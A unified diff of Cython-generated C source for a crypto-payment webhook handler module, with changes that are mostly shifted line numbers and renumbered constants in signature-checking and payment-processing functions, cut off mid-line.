__Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__20, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__14, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 187, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -6992,22 +6983,22 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 185, __pyx_L4_error) + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 186, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_web); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 188, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_web); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 189, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 188, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 188, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 189, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 188, __pyx_L4_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 188, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 189, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -7027,7 +7018,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_12) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_10, &__pyx_t_6) < 0) __PYX_ERR(0, 189, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_10, &__pyx_t_6) < 0) __PYX_ERR(0, 190, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_10); __Pyx_XGOTREF(__pyx_t_6); @@ -7036,14 +7027,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_10; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 190, __pyx_L19_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 191, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 190, __pyx_L19_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 191, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 190, __pyx_L19_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 191, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__21, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 190, __pyx_L19_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__15, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 191, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -7065,22 +7056,22 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 190, __pyx_L19_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 191, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 191, __pyx_L19_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 192, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 191, __pyx_L19_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 192, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 191, __pyx_L19_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 192, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 191, __pyx_L19_error) - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 191, __pyx_L19_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 192, __pyx_L19_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 192, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -7261,12 +7252,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 194, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 195, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_hash") < 0)) __PYX_ERR(0, 194, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_hash") < 0)) __PYX_ERR(0, 195, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -7277,7 +7268,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("check_hash", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 194, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("check_hash", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 195, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7316,7 +7307,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 194, __pyx_L1_error) + __PYX_ERR(0, 195, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7324,7 +7315,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3, __pyx_codeobj__22, (PyObject *) __pyx_cur_scope, __pyx_n_s_check_hash, __pyx_n_s_check_hash, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_check_hash, __pyx_n_s_check_hash, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7361,9 +7352,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 194, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 195, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -7383,7 +7374,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7398,23 +7389,23 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 195, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_body_text = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); @@ -7422,18 +7413,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_check_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_check_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_body_text, __pyx_cur_scope->__pyx_v_body_text) < 0) __PYX_ERR(0, 200, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_crypto_pay_signature, __pyx_cur_scope->__pyx_v_crypto_pay_signature) < 0) __PYX_ERR(0, 200, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_body_text, __pyx_cur_scope->__pyx_v_body_text) < 0) __PYX_ERR(0, 201, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_crypto_pay_signature, __pyx_cur_scope->__pyx_v_crypto_pay_signature) < 0) __PYX_ERR(0, 201, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7516,12 +7507,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 204, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 205, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_crypto_payment") < 0)) __PYX_ERR(0, 204, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_crypto_payment") < 0)) __PYX_ERR(0, 205, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -7532,7 +7523,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_crypto_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 204, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_crypto_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 205, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7571,7 +7562,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_p if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 204, __pyx_L1_error) + __PYX_ERR(0, 205, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7579,7 +7570,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_p __Pyx_INCREF(__pyx_cur_scope->__pyx_v_payload); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_payload); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_crypto_payment, __pyx_n_s_process_crypto_payment, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 204, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_crypto_payment, __pyx_n_s_process_crypto_payment, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7638,21 +7629,21 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 205, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_paid, Py_EQ)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_paid, Py_EQ)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_payload); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_payload); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_custom_payload = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_custom_payload, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_custom_payload, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -7669,10 +7660,10 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__11}; + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__8}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7682,7 +7673,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx if (unlikely(size != 2)) { if (size > 2) __Pyx_RaiseTooManyValuesError(2); else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); - __PYX_ERR(0, 207, __pyx_L1_error) + __PYX_ERR(0, 208, __pyx_L1_error) } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (likely(PyTuple_CheckExact(sequence))) { @@ -7695,15 +7686,15 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); #else - __pyx_t_3 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_3 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_4 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); #endif __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { Py_ssize_t index = -1; - __pyx_t_6 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_6 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_6); @@ -7711,7 +7702,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_GOTREF(__pyx_t_3); index = 1; __pyx_t_4 = __pyx_t_7(__pyx_t_6); if (unlikely(!__pyx_t_4)) goto __pyx_L5_unpacking_failed; __Pyx_GOTREF(__pyx_t_4); - if (__Pyx_IternextUnpackEndCheck(__pyx_t_7(__pyx_t_6), 2) < 0) __PYX_ERR(0, 207, __pyx_L1_error) + if (__Pyx_IternextUnpackEndCheck(__pyx_t_7(__pyx_t_6), 2) < 0) __PYX_ERR(0, 208, __pyx_L1_error) __pyx_t_7 = NULL; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L6_unpacking_done; @@ -7719,7 +7710,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = NULL; if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); - __PYX_ERR(0, 207, __pyx_L1_error) + __PYX_ERR(0, 208, __pyx_L1_error) __pyx_L6_unpacking_done:; } __Pyx_GIVEREF(__pyx_t_3); @@ -7736,23 +7727,23 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L7_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L7_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 211, __pyx_L7_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L7_error) + 